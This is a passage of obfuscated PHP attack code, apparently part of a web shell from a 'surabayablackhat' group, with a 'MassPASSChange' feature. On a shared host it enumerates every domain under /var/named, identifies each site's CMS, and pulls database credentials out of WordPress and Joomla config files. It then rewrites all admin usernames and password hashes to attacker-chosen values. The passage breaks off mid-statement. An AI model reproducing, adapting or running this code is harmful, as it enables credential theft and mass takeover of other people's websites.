3119 $rslvzly = "domain";
3120 $ {
3121 "GLOBALS"
3122 }
3123 ["nkeswyffv"] = "str";
3124 $ {
3125 $ {
3126 "GLOBALS"
3127 }
3128 ["ztkqicw"]
3129 } = "http://" . $ {
3130 $rslvzly
3131 };
3132 $ {
3133 $ {
3134 "GLOBALS"
3135 }
3136 ["nkeswyffv"]
3137 } = "<tr><td> <a href=" . $ {
3138 $qjkuyngm
3139 } . ">" . $ {
3140 $ {
3141 "GLOBALS"
3142 }
3143 ["cwfaeqsh"]
3144 } . "</a></td><td>" . $ {
3145 $ {
3146 "GLOBALS"
3147 }
3148 ["eiteihmxghn"]
3149 } . "</td><td><a
3150
3151href=" . $ {
3152 $ {
3153 "GLOBALS"
3154 }
3155 ["txusghhknhn"]
3156 } . ">" . $ {
3157 $ {
3158 "GLOBALS"
3159 }
3160 ["jszjdugnkysw"]
3161 } . "</td>" . Chr(10);
3162 file_put_contents("ciprut.tmp", $ {
3163 $ {
3164 "GLOBALS"
3165 }
3166 ["irulkvct"]
3167 }, FILE_APPEND);
3168 echo $ {
3169 $gyolidhusxx
3170 };
3171 }
3172 }
3173 function CurlPage($url, $post = null, $head = true) {
3174 $ {
3175 "GLOBALS"
3176 }
3177 ["ljmxiyyn"] = "url";
3178 $ {
3179 "GLOBALS"
3180 }
3181 ["rfkljpxoq"] = "ch";
3182 $tcywzqu = "ch";
3183 $ {
3184 "GLOBALS"
3185 }
3186 ["ytvahww"] = "ch";
3187 $jmarigzeh = "ch";
3188 $ {
3189 $jmarigzeh
3190 } = curl_init();
3191 curl_setopt($ {
3192 $ {
3193 "GLOBALS"
3194 }
3195 ["ytvahww"]
3196 }, CURLOPT_URL, $ {
3197 $ {
3198 "GLOBALS"
3199 }
3200 ["ljmxiyyn"]
3201 });
3202 curl_setopt($ {
3203 $ {
3204 "GLOBALS"
3205 }
3206 ["cjavcuoxlyy"]
3207 }, CURLOPT_HEADER, $ {
3208 $ {
3209 "GLOBALS"
3210 }
3211 ["qedxxtpmzi"]
3212 });
3213 $ {
3214 "GLOBALS"
3215 }
3216 ["bnritkkr"] = "ch";
3217 $bbxcgq = "ch";
3218 curl_setopt($ {
3219 $ {
3220 "GLOBALS"
3221 }
3222 ["cjavcuoxlyy"]
3223 }, CURLOPT_FOLLOWLOCATION, 1);
3224 curl_setopt($ {
3225 $ {
3226 "GLOBALS"
3227 }
3228 ["bnritkkr"]
3229 }, CURLOPT_RETURNTRANSFER, 1);
3230 curl_setopt($ {
3231 $ {
3232 "GLOBALS"
3233 }
3234 ["cjavcuoxlyy"]
3235 }, CURLOPT_SSL_VERIFYPEER, true);
3236 $ {
3237 "GLOBALS"
3238 }
3239 ["lwjnhbyydpi"] = "ch";
3240 curl_setopt($ {
3241 $ {
3242 "GLOBALS"
3243 }
3244 ["lwjnhbyydpi"]
3245 }, CURLOPT_SSL_VERIFYHOST, 2);
3246 curl_setopt($ {
3247 $tcywzqu
3248 }, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
3249 curl_setopt($ {
3250 $ {
3251 "GLOBALS"
3252 }
3253 ["rfkljpxoq"]
3254 }, CURLOPT_COOKIEFILE, "COOKIE.txt");
3255 curl_setopt($ {
3256 $bbxcgq
3257 }, CURLOPT_COOKIEJAR, "COOKIE.txt");
3258 If ($ {
3259 $ {
3260 "GLOBALS"
3261 }
3262 ["tnsxhojxvmf"]
3263 } != NULL) {
3264 $ {
3265 "GLOBALS"
3266 }
3267 ["yreswpw"] = "ch";
3268 $fmygpjsqmh = "post";
3269 curl_setopt($ {
3270 $ {
3271 "GLOBALS"
3272 }
3273 ["yreswpw"]
3274 }, CURLOPT_POST, 1);
3275 curl_setopt($ {
3276 $ {
3277 "GLOBALS"
3278 }
3279 ["cjavcuoxlyy"]
3280 }, CURLOPT_POSTFIELDS, $ {
3281 $fmygpjsqmh
3282 });
3283 }
3284 $zqnnoufeknk = "ch";
3285 $ {
3286 $ {
3287 "GLOBALS"
3288 }
3289 ["isewwzr"]
3290 } = curl_exec($ {
3291 $ {
3292 "GLOBALS"
3293 }
3294 ["cjavcuoxlyy"]
3295 });
3296 if (curl_errno($ {
3297 $zqnnoufeknk
3298 })) {
3299 echo curl_error($ {
3300 $ {
3301 "GLOBALS"
3302 }
3303 ["cjavcuoxlyy"]
3304 });
3305 }
3306 curl_close($ {
3307 $ {
3308 "GLOBALS"
3309 }
3310 ["cjavcuoxlyy"]
3311 });
3312 return ($ {
3313 $ {
3314 "GLOBALS"
3315 }
3316 ["isewwzr"]
3317 });
3318 }
3319 function listall($file, $str) {
3320 if (file_exists($ {
3321 $ {
3322 "GLOBALS"
3323 }
3324 ["trxciskk"]
3325 })) {
3326 $wqzwvyp = "str";
3327 $ {
3328 "GLOBALS"
3329 }
3330 ["vaerdspy"] = "file";
3331 $ {
3332 $ {
3333 "GLOBALS"
3334 }
3335 ["egdpoeurcpmk"]
3336 } = file_get_contents($ {
3337 $ {
3338 "GLOBALS"
3339 }
3340 ["vaerdspy"]
3341 });
3342 if (!strpos($ {
3343 $ {
3344 "GLOBALS"
3345 }
3346 ["egdpoeurcpmk"]
3347 }, $ {
3348 $wqzwvyp
3349 })) {
3350 $mitehrk = "str";
3351 file_put_contents($ {
3352 $ {
3353 "GLOBALS"
3354 }
3355 ["trxciskk"]
3356 }, $ {
3357 $mitehrk
3358 }, FILE_APPEND);
3359 }
3360 } else {
3361 file_put_contents($ {
3362 $ {
3363 "GLOBALS"
3364 }
3365 ["trxciskk"]
3366 }, $ {
3367 $ {
3368 "GLOBALS"
3369 }
3370 ["lgqhmjdbxnpa"]
3371 }, FILE_APPEND);
3372 }
3373 }
3374 echo "<center>
3375
3376<img src='http://surabayablackhat.org/forum/images/Greenia/logo.png'><br><br><br>
3377[ <a href='?do=pass_change'>MassPASSChange</a> ]<br><br><br></center> ";
3378 if (isset($_REQUEST["do"])) {
3379 $ {
3380 "GLOBALS"
3381 }
3382 ["lnposkrq"] = "user";
3383 $rrgghqqnp = "pass";
3384 switch ($_REQUEST["do"]) {
3385 case "cms_detect":
3386 if (!file_exists("ciprut.tmp")) {
3387 $ {
3388 "GLOBALS"
3389 }
3390 ["owdzpnnqfr"] = "p";
3391 @fopen("ciprut.tmp", "w");
3392 echo "<table align=\"center"border = "1\" width="45 % " cellspacing="0" cellpadding=\"4"class = "td1\">";
3393 echo "<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>CMS</b></center></td>";
3394 $ {
3395 $ {
3396 "GLOBALS"
3397 }
3398 ["owdzpnnqfr"]
3399 } = 0;
3400 if (is_readable("/var/named")) {
3401 $ {
3402 "GLOBALS"
3403 }
3404 ["hsaehydr"] = "list";
3405 $zfkgpoqms = "dir";
3406 $ {
3407 "GLOBALS"
3408 }
3409 ["fvccqlp"] = "list";
3410 $ {
3411 $ {
3412 "GLOBALS"
3413 }
3414 ["fvccqlp"]
3415 } = scandir("/var/named");
3416 $ {
3417 $ {
3418 "GLOBALS"
3419 }
3420 ["vaqvcad"]
3421 } = posix_getcwd();
3422 $ {
3423 $zfkgpoqms
3424 } = explode("/", $ {
3425 $ {
3426 "GLOBALS"
3427 }
3428 ["vaqvcad"]
3429 });
3430 foreach ($ {
3431 $ {
3432 "GLOBALS"
3433 }
3434 ["hsaehydr"]
3435 } as $ {
3436 $ {
3437 "GLOBALS"
3438 }
3439 ["uiwslurbco"]
3440 }) {
3441 if (strpos($ {
3442 $ {
3443 "GLOBALS"
3444 }
3445 ["uiwslurbco"]
3446 }, ".db")) {
3447 $rcnulijbimuy = "pageURL";
3448 $jjgevdfee = "domain";
3449 $yhcxbdljh = "domain";
3450 $idazjfmbu = "link";
3451 $qxiiwznedkt = "domain";
3452 $dljjrpjqe = "owner";
3453 $ {
3454 "GLOBALS"
3455 }
3456 ["rxkpvi"] = "domain";
3457 $ {
3458 "GLOBALS"
3459 }
3460 ["frtkuidul"] = "link";
3461 $ {
3462 $ {
3463 "GLOBALS"
3464 }
3465 ["rxkpvi"]
3466 } = str_replace(".db", "", $ {
3467 $ {
3468 "GLOBALS"
3469 }
3470 ["uiwslurbco"]
3471 });
3472 $ {
3473 "GLOBALS"
3474 }
3475 ["cfyzkj"] = "owner";
3476 $ {
3477 "GLOBALS"
3478 }
3479 ["srghknkw"] = "domain";
3480 $ {
3481 $ {
3482 "GLOBALS"
3483 }
3484 ["eiteihmxghn"]
3485 } = posix_getpwuid(fileowner("/etc/valiases/" . $ {
3486 $jjgevdfee
3487 }));
3488 $jaovvfygxx = "link";
3489 $oujizzqfi = "link";
3490 $ {
3491 "GLOBALS"
3492 }
3493 ["unvhevnaomg"] = "link";
3494 $ncncpfpna = "domain";
3495 error_reporting(0);
3496 $okrhirdo = "domain";
3497 $ {
3498 $idazjfmbu
3499 } = $ {
3500 $rcnulijbimuy
3501 } . "ciprut/" . $ {
3502 $dljjrpjqe
3503 }
3504 ["name"];
3505 $mzjnwmtqoe = "link";
3506 cms_add($ {
3507 $ {
3508 "GLOBALS"
3509 }
3510 ["jmytdpiry"]
3511 }, $ {
3512 $okrhirdo
3513 }, $ {
3514 $ {
3515 "GLOBALS"
3516 }
3517 ["eiteihmxghn"]
3518 }
3519 ["name"], "WordPress");
3520 $peqgwr = "domain";
3521 cms_add($ {
3522 $ {
3523 "GLOBALS"
3524 }
3525 ["jmytdpiry"]
3526 }, $ {
3527 $ {
3528 "GLOBALS"
3529 }
3530 ["uiwslurbco"]
3531 }, $ {
3532 $ {
3533 "GLOBALS"
3534 }
3535 ["eiteihmxghn"]
3536 }
3537 ["name"], "Joomla");
3538 cms_add($ {
3539 $oujizzqfi
3540 }, $ {
3541 $yhcxbdljh
3542 }, $ {
3543 $ {
3544 "GLOBALS"
3545 }
3546 ["cfyzkj"]
3547 }
3548 ["name"], "vBulletin");
3549 cms_add($ {
3550 $ {
3551 "GLOBALS"
3552 }
3553 ["jmytdpiry"]
3554 }, $ {
3555 $ {
3556 "GLOBALS"
3557 }
3558 ["uiwslurbco"]
3559 }, $ {
3560 $ {
3561 "GLOBALS"
3562 }
3563 ["eiteihmxghn"]
3564 }
3565 ["name"], "WHMCS");
3566 cms_add($ {
3567 $ {
3568 "GLOBALS"
3569 }
3570 ["unvhevnaomg"]
3571 }, $ {
3572 $qxiiwznedkt
3573 }, $ {
3574 $ {
3575 "GLOBALS"
3576 }
3577 ["eiteihmxghn"]
3578 }
3579 ["name"], "PhpBB");
3580 $vxinwdqzu = "owner";
3581 cms_add($ {
3582 $mzjnwmtqoe
3583 }, $ {
3584 $ {
3585 "GLOBALS"
3586 }
3587 ["uiwslurbco"]
3588 }, $ {
3589 $ {
3590 "GLOBALS"
3591 }
3592 ["eiteihmxghn"]
3593 }
3594 ["name"], "MyBB");
3595 cms_add($ {
3596 $ {
3597 "GLOBALS"
3598 }
3599 ["frtkuidul"]
3600 }, $ {
3601 $peqgwr
3602 }, $ {
3603 $vxinwdqzu
3604 }
3605 ["name"], "IPB");
3606 cms_add($ {
3607 $ {
3608 "GLOBALS"
3609 }
3610 ["jmytdpiry"]
3611 }, $ {
3612 $ {
3613 "GLOBALS"
3614 }
3615 ["srghknkw"]
3616 }, $ {
3617 $ {
3618 "GLOBALS"
3619 }
3620 ["eiteihmxghn"]
3621 }
3622 ["name"], "SMF");
3623 cms_add($ {
3624 $ {
3625 "GLOBALS"
3626 }
3627 ["jmytdpiry"]
3628 }, $ {
3629 $ncncpfpna
3630 }, $ {
3631 $ {
3632 "GLOBALS"
3633 }
3634 ["eiteihmxghn"]
3635 }
3636 ["name"], "Drupal");
3637 cms_add($ {
3638 $ {
3639 "GLOBALS"
3640 }
3641 ["jmytdpiry"]
3642 }, $ {
3643 $ {
3644 "GLOBALS"
3645 }
3646 ["uiwslurbco"]
3647 }, $ {
3648 $ {
3649 "GLOBALS"
3650 }
3651 ["eiteihmxghn"]
3652 }
3653 ["name"], "e107");
3654 cms_add($ {
3655 $ {
3656 "GLOBALS"
3657 }
3658 ["jmytdpiry"]
3659 }, $ {
3660 $ {
3661 "GLOBALS"
3662 }
3663 ["uiwslurbco"]
3664 }, $ {
3665 $ {
3666 "GLOBALS"
3667 }
3668 ["eiteihmxghn"]
3669 }
3670 ["name"], "Seditio");
3671 cms_add($ {
3672 $jaovvfygxx
3673 }, $ {
3674 $ {
3675 "GLOBALS"
3676 }
3677 ["uiwslurbco"]
3678 }, $ {
3679 $ {
3680 "GLOBALS"
3681 }
3682 ["eiteihmxghn"]
3683 }
3684 ["name"], "osCommerce");
3685 }
3686 }
3687 }
3688 } else {
3689 echo "<table align="center\" border=\"1\" width="45 % " cellspacing="0\" cellpadding=\"4"class = \"td1\">";
3690 $ {
3691 "GLOBALS"
3692 }
3693 ["wnigslclm"] = "content";
3694 echo "<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>CMS</b></center></td>";
3695 $ {
3696 $ {
3697 "GLOBALS"
3698 }
3699 ["lmwuswlhouk"]
3700 } = file_get_contents($ {
3701 $ {
3702 "GLOBALS"
3703 }
3704 ["fwrurchal"]
3705 } . "ciprut.tmp");
3706 echo $ {
3707 $ {
3708 "GLOBALS"
3709 }
3710 ["wnigslclm"]
3711 };
3712 }
3713 break;
3714 case "pass_change":
3715 echo "<form method='POST'>
3716<center>
3717USER : <input size='20' value='admin' name='user' type='text'><br>
3718PASS : <input size='20' value='sbhcrew' name='pass' type='text'>
3719<br>
3720<input value='Change' name='' type='submit'><br><br>
3721</form>
3722";
3723 if ($_POST) {
3724 $ {
3725 $ {
3726 "GLOBALS"
3727 }
3728 ["kshpvlj"]
3729 } = $_POST["user"];
3730 $ {
3731 $ {
3732 "GLOBALS"
3733 }
3734 ["rxeemqdpgqt"]
3735 } = $_POST["pass"];
3736 if (is_readable("/var/named")) {
3737 $wcsfxnksww = "list";
3738 $ {
3739 "GLOBALS"
3740 }
3741 ["uzrqldqgkxv"] = "list";
3742 echo "<table align=\"center\" border="1\" width="45 % " cellspacing=\"0\" cellpadding=\"4\">";
3743 echo "<tr><td><b>DOMAIN</b></td><td>USER</td><td>CMS</td><td>STATUS</b></td>";
3744 $ {
3745 $ {
3746 "GLOBALS"
3747 }
3748 ["uzrqldqgkxv"]
3749 } = scandir("/var/named");
3750 foreach ($ {
3751 $wcsfxnksww
3752 } as $ {
3753 $ {
3754 "GLOBALS"
3755 }
3756 ["uiwslurbco"]
3757 }) {
3758 $okghusrbud = "domain";
3759 if (strpos($ {
3760 $okghusrbud
3761 }, ".db")) {
3762 $ {
3763 "GLOBALS"
3764 }
3765 ["hbasiyefmjy"] = "domain";
3766 $fatufdhg = "owner";
3767 $ogtgygtcy = "url";
3768 $lhjtuwyq = "domain";
3769 $ {
3770 $ {
3771 "GLOBALS"
3772 }
3773 ["uiwslurbco"]
3774 } = str_replace(".db", "", $ {
3775 $lhjtuwyq
3776 });
3777 $ {
3778 $fatufdhg
3779 } = posix_getpwuid(fileowner("/etc/valiases/" . $ {
3780 $ {
3781 "GLOBALS"
3782 }
3783 ["uiwslurbco"]
3784 }));
3785 $ {
3786 "GLOBALS"
3787 }
3788 ["zekekks"] = "pageURL";
3789 $ {
3790 $ogtgygtcy
3791 } = "http://" . $ {
3792 $ {
3793 "GLOBALS"
3794 }
3795 ["hbasiyefmjy"]
3796 };
3797 if (chk_header($ {
3798 $ {
3799 "GLOBALS"
3800 }
3801 ["zekekks"]
3802 } . "ciprut/" . $ {
3803 $ {
3804 "GLOBALS"
3805 }
3806 ["eiteihmxghn"]
3807 }
3808 ["name"] . "-WordPress.txt")) {
3809 $tlhuwoby = "config";
3810 $dnvrtutewt = "pageURL";
3811 $ {
3812 "GLOBALS"
3813 }
3814 ["giqglxosgzda"] = "cnf";
3815 $yiqcgipushdx = "pageURL";
3816 $ {
3817 $tlhuwoby
3818 } = $ {
3819 $yiqcgipushdx
3820 } . "ciprut/" . $ {
3821 $ {
3822 "GLOBALS"
3823 }
3824 ["eiteihmxghn"]
3825 }
3826 ["name"] . "-WordPress.txt";
3827 $orjrqbe = "owner";
3828 $ {
3829 "GLOBALS"
3830 }
3831 ["ybnuznke"] = "prefix";
3832 file_get_contents($ {
3833 $ {
3834 "GLOBALS"
3835 }
3836 ["fwrurchal"]
3837 } . "ciprut/" . $ {
3838 $orjrqbe
3839 }
3840 ["name"] . "-WordPress.txt");
3841 $ {
3842 "GLOBALS"
3843 }
3844 ["jvfkocilhs"] = "cnf";
3845 $bedntlg = "cnf";
3846 $qoveqnmpoy = "username";
3847 $ {
3848 "GLOBALS"
3849 }
3850 ["kzvdyhcfulp"] = "owner";
3851 $bzivmlhyc = "username";
3852 $ {
3853 $ {
3854 "GLOBALS"
3855 }
3856 ["giqglxosgzda"]
3857 } = file_get_contents($ {
3858 $dnvrtutewt
3859 } . "ciprut/" . $ {
3860 $ {
3861 "GLOBALS"
3862 }
3863 ["kzvdyhcfulp"]
3864 }
3865 ["name"] . "-WordPress.txt");
3866 $ {
3867 "GLOBALS"
3868 }
3869 ["echdindpkco"] = "password";
3870 $ {
3871 $ {
3872 "GLOBALS"
3873 }
3874 ["eklghosmpzbd"]
3875 } = Find($ {
3876 $ {
3877 "GLOBALS"
3878 }
3879 ["kyrycexi"]
3880 }, "define('DB_HOST', '", "');");
3881 $ {
3882 $bzivmlhyc
3883 } = Find($ {
3884 $ {
3885 "GLOBALS"
3886 }
3887 ["kyrycexi"]
3888 }, "define('DB_USER', '", "');");
3889 $ {
3890 "GLOBALS"
3891 }
3892 ["zyortnyvtelx"] = "cnf";
3893 $ {
3894 $ {
3895 "GLOBALS"
3896 }
3897 ["echdindpkco"]
3898 } = Find($ {
3899 $bedntlg
3900 }, "define('DB_PASSWORD', '", "');");
3901 $ {
3902 $ {
3903 "GLOBALS"
3904 }
3905 ["hprvmeevrr"]
3906 } = Find($ {
3907 $ {
3908 "GLOBALS"
3909 }
3910 ["zyortnyvtelx"]
3911 }, "define('DB_NAME', '", "');");
3912 $ {
3913 $ {
3914 "GLOBALS"
3915 }
3916 ["ybnuznke"]
3917 } = Find($ {
3918 $ {
3919 "GLOBALS"
3920 }
3921 ["jvfkocilhs"]
3922 }, "table_prefix = '", "'");
3923 $ {
3924 "GLOBALS"
3925 }
3926 ["lvewxsrux"] = "link";
3927 $ {
3928 $ {
3929 "GLOBALS"
3930 }
3931 ["jmytdpiry"]
3932 } = mysql_connect($ {
3933 $ {
3934 "GLOBALS"
3935 }
3936 ["eklghosmpzbd"]
3937 }, $ {
3938 $qoveqnmpoy
3939 }, $ {
3940 $ {
3941 "GLOBALS"
3942 }
3943 ["hwojijlsfe"]
3944 });
3945 if ($ {
3946 $ {
3947 "GLOBALS"
3948 }
3949 ["lvewxsrux"]
3950 }) {
3951 $ {
3952 "GLOBALS"
3953 }
3954 ["yvkiybbfa"] = "req";
3955 $ {
3956 "GLOBALS"
3957 }
3958 ["tcquoxdogzjq"] = "dbname";
3959 $awhwegmqqg = "prefix";
3960 $ {
3961 $ {
3962 "GLOBALS"
3963 }
3964 ["zrvxbpjb"]
3965 } = crypt($ {
3966 $ {
3967 "GLOBALS"
3968 }
3969 ["rxeemqdpgqt"]
3970 });
3971 $ {
3972 "GLOBALS"
3973 }
3974 ["xvbdfq"] = "data";
3975 $ {
3976 "GLOBALS"
3977 }
3978 ["dsvkxgxmzp"] = "tab";
3979 mysql_select_db($ {
3980 $ {
3981 "GLOBALS"
3982 }
3983 ["tcquoxdogzjq"]
3984 }, $ {
3985 $ {
3986 "GLOBALS"
3987 }
3988 ["jmytdpiry"]
3989 });
3990 $zuhvqhrukb = "req";
3991 $ {
3992 $ {
3993 "GLOBALS"
3994 }
3995 ["dsvkxgxmzp"]
3996 } = $ {
3997 $ {
3998 "GLOBALS"
3999 }
4000 ["jepeksqg"]
4001 } . "users";
4002 $ {
4003 $ {
4004 "GLOBALS"
4005 }
4006 ["acbqvsql"]
4007 } = @mysql_query("UPDATE `$tab` SET `user_login` ='$user'");
4008 $ {
4009 $ {
4010 "GLOBALS"
4011 }
4012 ["kcnuja"]
4013 } = @mysql_query("UPDATE `$tab` SET `user_pass` ='$hash'");
4014 $ {
4015 $zuhvqhrukb
4016 } = @mysql_query("SELECT * from `" . $ {
4017 $awhwegmqqg
4018 } . "options` WHERE option_name='home'");
4019 $ {
4020 $ {
4021 "GLOBALS"
4022 }
4023 ["ypohbipl"]
4024 } = mysql_fetch_array($ {
4025 $ {
4026 "GLOBALS"
4027 }
4028 ["yvkiybbfa"]
4029 });
4030 $ {
4031 $ {
4032 "GLOBALS"
4033 }
4034 ["kwxhcjombhf"]
4035 } = $ {
4036 $ {
4037 "GLOBALS"
4038 }
4039 ["xvbdfq"]
4040 }
4041 ["option_value"];
4042 error_reporting(0);
4043 $gyosvxlqpre = "domain";
4044 $ {
4045 "GLOBALS"
4046 }
4047 ["mdsafysslt"] = "config";
4048 echo "<tr><td><a href=" . $ {
4049 $ {
4050 "GLOBALS"
4051 }
4052 ["ztkqicw"]
4053 } . " onclick=\"window.open(this.href);return
4054
4055false;\">" . $ {
4056 $gyosvxlqpre
4057 } . "</a></td><td>" . $ {
4058 $ {
4059 "GLOBALS"
4060 }
4061 ["eiteihmxghn"]
4062 }
4063 ["name"] . "</td><td><a href=" . $ {
4064 $ {
4065 "GLOBALS"
4066 }
4067 ["mdsafysslt"]
4068 } . ">WordPress</a></td><td><font
4069
4070color="green\">success..</font></td>";
4071 } else {
4072 $skgcodq = "owner";
4073 $ {
4074 "GLOBALS"
4075 }
4076 ["cujbnjkp"] = "url";
4077 echo "<tr><td><a href=" . $ {
4078 $ {
4079 "GLOBALS"
4080 }
4081 ["cujbnjkp"]
4082 } . " onclick=\"window.open(this.href);return
4083
4084false;\">" . $ {
4085 $ {
4086 "GLOBALS"
4087 }
4088 ["uiwslurbco"]
4089 } . "</a></td><td>" . $ {
4090 $skgcodq
4091 }
4092 ["name"] . "</td><td><a href=" . $ {
4093 $ {
4094 "GLOBALS"
4095 }
4096 ["ltkdvrfncfnk"]
4097 } . ">WordPress</a></td><td><font color="red">mysql
4098
4099fail</font></td>";
4100 }
4101 } elseif (chk_header($ {
4102 $ {
4103 "GLOBALS"
4104 }
4105 ["fwrurchal"]
4106 } . "ciprut/" . $ {
4107 $ {
4108 "GLOBALS"
4109 }
4110 ["eiteihmxghn"]
4111 }
4112 ["name"] . "-Joomla.txt")) {
4113 $ {
4114 "GLOBALS"
4115 }
4116 ["bumrkxbki"] = "config";
4117 $ {
4118 "GLOBALS"
4119 }
4120 ["ceagozckb"] = "pageURL";
4121 $ {
4122 $ {
4123 "GLOBALS"
4124 }
4125 ["kyrycexi"]
4126 } = file_get_contents($ {
4127 $ {
4128 "GLOBALS"
4129 }
4130 ["fwrurchal"]
4131 } . "ciprut/" . $ {
4132 $ {
4133 "GLOBALS"
4134 }
4135 ["eiteihmxghn"]
4136 }
4137 ["name"] . "-Joomla.txt");
4138 $ {
4139 $ {
4140 "GLOBALS"
4141 }
4142 ["bumrkxbki"]
4143 } = $ {
4144 $ {
4145 "GLOBALS"
4146 }
4147 ["ceagozckb"]
4148 } . "ciprut/" . $ {
4149 $ {
4150 "GLOBALS"
4151 }
4152 ["eiteihmxghn"]
4153 }
4154 ["name"] . "-Joomla.txt";
4155 if (preg_match("%(JConfig|mosConfig)%", $ {
4156 $ {
4157 "GLOBALS"
4158 }
4159 ["kyrycexi"]
4160 })) {
4161 $tirxdgfbnic = "cnf";
4162 $mugkum = "cnf";
4163 if (preg_match("%JConfig%", $ {
4164 $mugkum
4165 })) {
4166 $hwtvlqatjz = "cnf";
4167 $ {
4168 "GLOBALS"
4169 }
4170 ["tyuotkoi"] = "cnf";
4171 $upukphgrv = "username";
4172 $pxxrvhggjic = "cnf";
4173 $ {
4174 "GLOBALS"
4175 }
4176 ["yghldrphi"] = "link";
4177 $ {
4178 $upukphgrv
4179 } = Find($ {
4180 $ {
4181 "GLOBALS"
4182 }
4183 ["tyuotkoi"]
4184 }, "\$user = '", "'");
4185 $ {
4186 $ {
4187 "GLOBALS"
4188 }
4189 ["hwojijlsfe"]
4190 } = Find($ {
4191 $ {
4192 "GLOBALS"
4193 }
4194 ["kyrycexi"]
4195 }, "\$password = '", "'");
4196 $ {
4197 "GLOBALS"
4198 }
4199 ["uoyvpyyhlso"] = "dbname";
4200 $ {
4201 $ {
4202 "GLOBALS"
4203 }
4204 ["uoyvpyyhlso"]
4205 } = Find($ {
4206 $hwtvlqatjz
4207 }, "\$db = '", "'");
4208 $ {
4209 $ {
4210 "GLOBALS"
4211 }
4212 ["jepeksqg"]
4213 } = Find($ {
4214 $pxxrvhggjic
4215 }, "\$dbprefix = '", "'");
4216 $ {
4217 $ {
4218 "GLOBALS"
4219 }
4220 ["yghldrphi"]
4221 } = mysql_connect("localhost", $ {
4222 $ {
4223 "GLOBALS"
4224 }
4225 ["djepkh"]
4226 }, $ {
4227 $ {
4228 "GLOBALS"
4229 }
4230 ["hwojijlsfe"]
4231 });
4232 if ($ {
4233 $ {
4234 "GLOBALS"
4235 }
4236 ["jmytdpiry"]
4237 }) {
4238 $nesawfqex = "query2";
4239 $fchexmooz = "url";
4240 $ {
4241 "GLOBALS"
4242 }
4243 ["shlyvucy"] = "hash";
4244 $muucedpr = "owner";
4245 $bqtfgkn = "link";
4246 $ {
4247 "GLOBALS"
4248 }
4249 ["thlhbyk"] = "query3";
4250 $ {
4251 "GLOBALS"
4252 }
4253 ["opnjvqvpo"] = "tab";
4254 $ {
4255 $ {
4256 "GLOBALS"
4257 }
4258 ["shlyvucy"]
4259 } = md5($ {
4260 $ {
4261 "GLOBALS"
4262 }
4263 ["rxeemqdpgqt"]
4264 });
4265 mysql_select_db($ {
4266 $ {
4267 "GLOBALS"
4268 }
4269 ["hprvmeevrr"]
4270 }, $ {
4271 $bqtfgkn
4272 });
4273 $ {
4274 $ {
4275 "GLOBALS"
4276 }
4277 ["opnjvqvpo"]
4278 } = $ {
4279 $ {
4280 "GLOBALS"
4281 }
4282 ["jepeksqg"]
4283 } . "users";
4284 $ {
4285 $nesawfqex
4286 } = @mysql_query("UPDATE `$tab` SET `username` ='$user'");
4287 $ {
4288 $ {
4289 "GLOBALS"
4290 }
4291 ["thlhbyk"]
4292 } = @mysql_query("UPDATE `$tab` SET `password` ='$hash'");
4293 $ {
4294 "GLOBALS"
4295 }
4296 ["tpuqesqgpu"] = "domain";
4297 echo "<tr><td><a href=" . $ {
4298 $fchexmooz
4299 } . " onclick=\"window.open(this.href);return
4300
4301false;\">" . $ {
4302 $ {
4303 "GLOBALS"
4304 }
4305 ["tpuqesqgpu"]
4306 } . "</a></td><td>" . $ {
4307 $muucedpr
4308 }
4309 ["name"] . "</td><td><a href=" . $ {
4310 $ {
4311 "GLOBALS"
4312 }
4313 ["ltkdvrfncfnk"]
4314 } . ">Joomla</a></td><td><font
4315
4316color="green">success..</font><br>";
4317 } else {
4318 $ {
4319 "GLOBALS"
4320 }
4321 ["fxlrnrdgigf"] = "config";
4322 $acjskaacn = "url";
4323 $nodbtxtcutvr = "owner";
4324 echo "<tr><td><a href=" . $ {
4325 $acjskaacn
4326 } . " onclick=\"window.open(this.href);return
4327
4328false;\">" . $ {
4329 $ {
4330 "GLOBALS"
4331 }
4332 ["uiwslurbco"]
4333 } . "</a></td><td>" . $ {
4334 $nodbtxtcutvr
4335 }
4336 ["name"] . "</td><td><a href=" . $ {
4337 $ {
4338 "GLOBALS"
4339 }
4340 ["fxlrnrdgigf"]
4341 } . ">Joomla</a></td><td><font color=\"red\">mysql
4342
4343fail</font></td>";
4344 }
4345 } elseif (preg_match("%mosConfig%", $ {
4346 $tirxdgfbnic
4347 })) {
4348 $vetgjqr = "username";
4349 $ {
4350 "GLOBALS"
4351 }
4352 ["aefpvlny"] = "password";
4353 $jpnmtsddd = "dbname";
4354 $ {
4355 $vetgjqr
4356 } = Find($ {
4357 $ {
4358 "GLOBALS"
4359 }
4360 ["kyrycexi"]
4361 }, "\$mosConfig_user = '", "'");
4362 $phuscg = "link";
4363 $ {
4364 $ {
4365 "GLOBALS"
4366 }
4367 ["aefpvlny"]
4368 } = Find($ {
4369 $ {
4370 "GLOBALS"
4371 }
4372 ["kyrycexi"]
4373 }, "\$mosConfig_password = '", "'");
4374 $ {
4375 "GLOBALS"
4376 }
4377 ["ugifpyvqovo"] = "prefix";
4378 $ {
4379 "GLOBALS"
4380 }
4381 ["awufgu"] = "npass";
4382 $ {
4383 $jpnmtsddd
4384 } = Find($ {
4385 $ {
4386 "GLOBALS"
4387 }
4388 ["kyrycexi"]
4389 }, "\$mosConfig_db = '", "'");
4390 $fqyyuslydv = "link";
4391 $ {
4392 "GLOBALS"
4393 }
4394 ["tonashdhc"] = "pwd";
4395 $ {
4396 $ {
4397 "GLOBALS"
4398 }
4399 ["ugifpyvqovo"]
4400 } = Find($ {
4401 $ {
4402 "GLOBALS"
4403 }
4404 ["kyrycexi"]
4405 }, "\$mosConfig_dbprefix = '", "'");
4406 $ {
4407 $ {
4408 "GLOBALS"
4409 }
4410 ["tonashdhc"]
4411 } = md5($ {
4412 $ {
4413 "GLOBALS"
4414 }
4415 ["awufgu"]
4416 });
4417 $ {
4418 $fqyyuslydv
4419 } = mysql_connect("localhost", $ {
4420 $ {
4421 "GLOBALS"
4422 }
4423 ["djepkh"]
4424 }, $ {
4425 $ {
4426 "GLOBALS"
4427 }
4428 ["hwojijlsfe"]
4429 });
4430 if ($ {
4431 $phuscg
4432 }) {
4433 $ {
4434 "GLOBALS"
4435 }
4436 ["vqgmvouyieae"] = "hash";
4437 $ {
4438 "GLOBALS"
4439 }
4440 ["acwbsiqe"] = "link";
4441 $ {
4442 $ {
4443 "GLOBALS"
4444 }
4445 ["vqgmvouyieae"]
4446 } = md5($ {
